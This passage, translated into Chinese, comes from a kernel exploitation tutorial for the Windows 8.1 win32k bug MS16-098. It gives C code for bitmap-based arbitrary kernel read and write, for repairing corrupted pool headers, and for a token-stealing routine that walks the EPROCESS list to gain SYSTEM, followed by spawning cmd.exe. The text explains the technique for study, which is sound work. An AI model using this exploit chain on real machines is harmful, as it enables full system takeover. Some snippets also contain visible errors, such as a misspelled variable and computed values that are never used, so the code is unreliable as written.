如果一切都能按計劃進行，我們就應該能夠從內存中讀取0x1000 bit。 下面有位圖對象在溢出前后，標題，sizLBitmap和hdev成員溢出。

下面是一個位圖對象在溢出前后的成員的值

當循環(huán)檢測是哪個位圖被執(zhí)行時，會在幾次調用GetBitmapBits之后發(fā)生崩潰。崩潰發(fā)生在PDEVOBJ:: bAlowSharedAcces函數中，當試圖從地址0x0000000100000000(它是上面重寫的位圖對象的hdev成員)讀取時。在分析時注意到位圖對象有一個成員要么是NULL要么是指向的Gdev設備對象的指針，在這種情況下這個成員是指向設備對象的指針。

函數win32k!GreGetBitmapBits會調用NEEDGRELOCK::vLock，而這個函數會接著調用PDEVOBJ::bAllowSharedAccess。通過觀察NEEDGRELOCK::vLock函數的反匯編，可以注意到這個函數使用PDEVOBJ只是為了調用PDEVOBJ::bAllowSharedAccess，如果這個函數的返回值為零，那么它將繼續(xù)進行其他的檢查，此后就沒有再使用過PDEVOBJ了。

此外，在GreGetBitmapBits中，函數不檢查NEEDGRELOCK::vlock的返回值，執(zhí)行后，PDEVOBJ:: bAllowSharedAccess將嘗試讀取第一個功能塊中的地址，如果讀到的數據等于1，那么這個函數將以0值退出，而這是繼續(xù)執(zhí)行所要求的。

使用VirtualAlloc為此地址分配內存并將所有的字節(jié)都設置為1，將會無錯誤的退出函數。并且會回收GetBitmapBits使用的位圖數據，整個過程不會發(fā)生崩潰。

 
 
 
 
    
  
  
  
  
  1. VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 
    2. 
  
  
  
  
  2. memset(fake, 0x1, 0x100); 
    3.

Step 6 – 修復被溢出的頭部:

在這一點上，exploit能夠讀寫大小為0xFFFFFFFF * 1 * 4的相鄰內存，這足以到達下一頁中的第二個相鄰位圖對象，并覆蓋要用于在內核內存上進行任意讀寫的pvScan0地址。

當exploit退出時，我注意到有時在進程退出時會發(fā)生一些與池頭有關的崩潰。解決這個問題的方案是使用GetBitmapbits，讀取下一個區(qū)域(region)和位圖對象的頭，這些對象沒有被覆蓋，然后泄露一個可以在region對象中找到的內核地址，

計算被溢出覆蓋的區(qū)域(region)對象的地址的方法是將泄漏出來的地址的最低字節(jié)置為空，這將提供給我們當前頁的開始的地址，然后將倒數第二個低字節(jié)減去0x10，從當前頁的起始減去0x1000，就可以得到前一頁的開始地址。

 
 
 
 
    
  
  
  
  
  1. addr1[0x0] = 0; 
    2. 
  
  
  
  
  2. int u = addr1[0x1]; 
    3. 
  
  
  
  
  3. uu = u - 0x10; 
    4.

接下來要計算溢出的Bitmap對象的地址，記住region對象的大小為0xbc0，因此將在最后一步得到的地址的最低字節(jié)設置為0xc0，并將0xb加給倒數第二個最低字節(jié)，將獲得發(fā)生溢出的位圖對象的頭部地址。

 
 
 
 
    
  
  
  
  
  1. ddr1[0] = 0xc0; 
    2. 
  
  
  
  
  2. int y = addr1[1]; 
    3. 
  
  
  
  
  3. yy = y + 0xb; 
    4. 
  
  
  
  
  4. addr1[1] = y; 
    5.

然后，管理器(manager)位圖對象通過SetBitmapBits覆寫工作者位圖對象的pvScan0成員為區(qū)域頭的地址(region header)。然后，工作者(worker)位圖被SetBitmapBits用來設置該地址指向的數據為在第一步驟中讀取的頭部數據。對于溢出的位圖對象頭也是這樣。

 
 
 
 
    
  
  
  
  
  1. void SetAddress(BYTE* address) { 
    2. 
  
  
  
  
  2.     for (int i = 0; i < sizeof(address); i++) { 
    3. 
  
  
  
  
  3.         bits[0xdf0 + i] = address[i]; 
    4. 
  
  
  
  
  4.     } 
    5. 
  
  
  
  
  5.     SetBitmapBits(hManager, 0x1000, bits); 
    6. 
  
  
  
  
  6. } 
    7. 
  
  
  
  
  7. void WriteToAddress(BYTE* data) { 
    8. 
  
  
  
  
  8.     SetBitmapBits(hWorker, sizeof(data), data); 
    9. 
  
  
  
  
  9. } 
    10. 
  
  
  
  
  10. SetAddress(addr1); 
    11. 
  
  
  
  
  11. WriteToAddress(Gh05); 
    12.

Step 7 – 從EPROCESS對象中偷取Token:

這個過程起始于獲取PsInitialSystemProcess全局變量的內核地址，這個指針指向EPROCESS列表中的第一個條目，該指針由ntoskrnl.exe導出。

 
 
 
 
    
  
  
  
  
  1. // Get base of ntoskrnl.exe 
    2. 
  
  
  
  
  2. ULONG64 GetNTOsBase() 
    3. 
  
  
  
  
  3. { 
    4. 
  
  
  
  
  4.     ULONG64 Bases[0x1000]; 
    5. 
  
  
  
  
  5.     DWORD needed = 0; 
    6. 
  
  
  
  
  6.     ULONG64 krnlbase = 0; 
    7. 
  
  
  
  
  7.     if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) { 
    8. 
  
  
  
  
  8.         krnlbase = Bases[0]; 
    9. 
  
  
  
  
  9.     } 
    10. 
  
  
  
  
  10.     return krnlbase; 
    11. 
  
  
  
  
  11. } 
    12. 
  
  
  
  
  12. // Get EPROCESS for System process 
    13. 
  
  
  
  
  13. ULONG64 PsInitialSystemProcess() 
    14. 
  
  
  
  
  14. { 
    15. 
  
  
  
  
  15.     // load ntoskrnl.exe 
    16. 
  
  
  
  
  16.     ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe"); 
    17. 
  
  
  
  
  17.     // get address of exported PsInitialSystemProcess variable 
    18. 
  
  
  
  
  18.     ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess"); 
    19. 
  
  
  
  
  19.     FreeLibrary((HMODULE)ntos); 
    20. 
  
  
  
  
  20.     ULONG64 res = 0; 
    21. 
  
  
  
  
  21.     ULONG64 ntOsBase = GetNTOsBase(); 
    22. 
  
  
  
  
  22.     // subtract addr from ntos to get PsInitialSystemProcess offset from base 
    23. 
  
  
  
  
  23.     if (ntOsBase) { 
    24. 
  
  
  
  
  24.         ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64)); 
    25. 
  
  
  
  
  25.     } 
    26. 
  
  
  
  
  26.     return res; 
    27. 
  
  
  
  
  27. } 
    28.

PsInitalSystemProcess(譯注：作者起一樣的名字不怕歧義?這里指的是上面代碼中的函數)會把ntoskrnl.exe加載到內存中，并使用GetProcAddress獲取導出的PsInitialSystemProcess的地址，然后使用EnumDeviceDrivers()函數獲取內核基址。把PsInitialSystemProcess的值減去內核加載基址，就可以得到一個偏移量，將此偏移量加到檢索到的內核基址上就可以得到PsInitialSystemProcess指針的內核地址。

 
 
 
 
    
  
  
  
  
  1. LONG64 PsGetCurrentProcess() 
    2. 
  
  
  
  
  2. { 
    3. 
  
  
  
  
  3.     ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS 
    4. 
  
  
  
  
  4.      // walk ActiveProcessLinks until we find our Pid 
    5. 
  
  
  
  
  5.     LIST_ENTRY ActiveProcessLinks; 
    6. 
  
  
  
  
  6.     ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); 
    7. 
  
  
  
  
  7.     ULONG64 res = 0; 
    8. 
  
  
  
  
  8.     while (TRUE) { 
    9. 
  
  
  
  
  9.         ULONG64 UniqueProcessId = 0; 
    10. 
  
  
  
  
  10.         // adjust EPROCESS pointer for next entry 
    11. 
  
  
  
  
  11.         pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64); 
    12. 
  
  
  
  
  12.         // get pid 
    13. 
  
  
  
  
  13.         ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64)); 
    14. 
  
  
  
  
  14.         // is this our pid? 
    15. 
  
  
  
  
  15.         if (GetCurrentProcessId() == UniqueProcessId) { 
    16. 
  
  
  
  
  16.             res = pEPROCESS; 
    17. 
  
  
  
  
  17.             break; 
    18. 
  
  
  
  
  18.         } 
    19. 
  
  
  
  
  19.         // get next entry 
    20. 
  
  
  
  
  20.         ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); 
    21. 
  
  
  
  
  21.         // if next same as last, we reached the end 
    22. 
  
  
  
  
  22.         if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64)) 
    23. 
  
  
  
  
  23.             break; 
    24. 
  
  
  
  
  24.     } 
    25. 
  
  
  
  
  25.     return res; 
    26. 
  
  
  
  
  26. } 
    27.

然后，它將使用管理器(manager)和工作者(worker)位圖來遍歷EPROCESS列表，查找列表中的當前進程。找到之后，會通過位圖從EPROCESS列表中的第一個條目讀取SYSTEM的Token，在EPROCESS列表中寫入當前的進程。

 
 
 
 
    
  
  
  
  
  1. // get System EPROCESS 
    2. 
  
  
  
  
  2. ULONG64 SystemEPROCESS = PsInitialSystemProcess(); 
    3. 
  
  
  
  
  3. //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); 
    4. 
  
  
  
  
  4. ULONG64 CurrentEPROCESS = PsGetCurrentProcess(); 
    5. 
  
  
  
  
  5. //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); 
    6. 
  
  
  
  
  6. ULONG64 SystemToken = 0; 
    7. 
  
  
  
  
  7. // read token from system process 
    8. 
  
  
  
  
  8. ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8); 
    9. 
  
  
  
  
  9. // write token to current process 
    10. 
  
  
  
  
  10. ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; 
    11. 
  
  
  
  
  11. SetAddress((BYTE *)&CurProccessAddr); 
    12. 
  
  
  
  
  12. WriteToAddress((BYTE *)&SystemToken); 
    13. 
  
  
  
  
  13. // Done and done. We're System :) 
    14.

Step 8 – SYSTEM !!

現(xiàn)在，當前的進程就擁有了SYSTEM令牌，并且會以SYSTEM權限執(zhí)行。

1system("cmd.exe");

本文示例的下載地址：https://gitlab.sensepost.com/saif/MS16-098_RNGOBJ_Integer_Overflow


標題名稱：從MS16-098看Windows8.1內核漏洞利用
標題路徑：http://www.5511xx.com/article/cdsgiss.html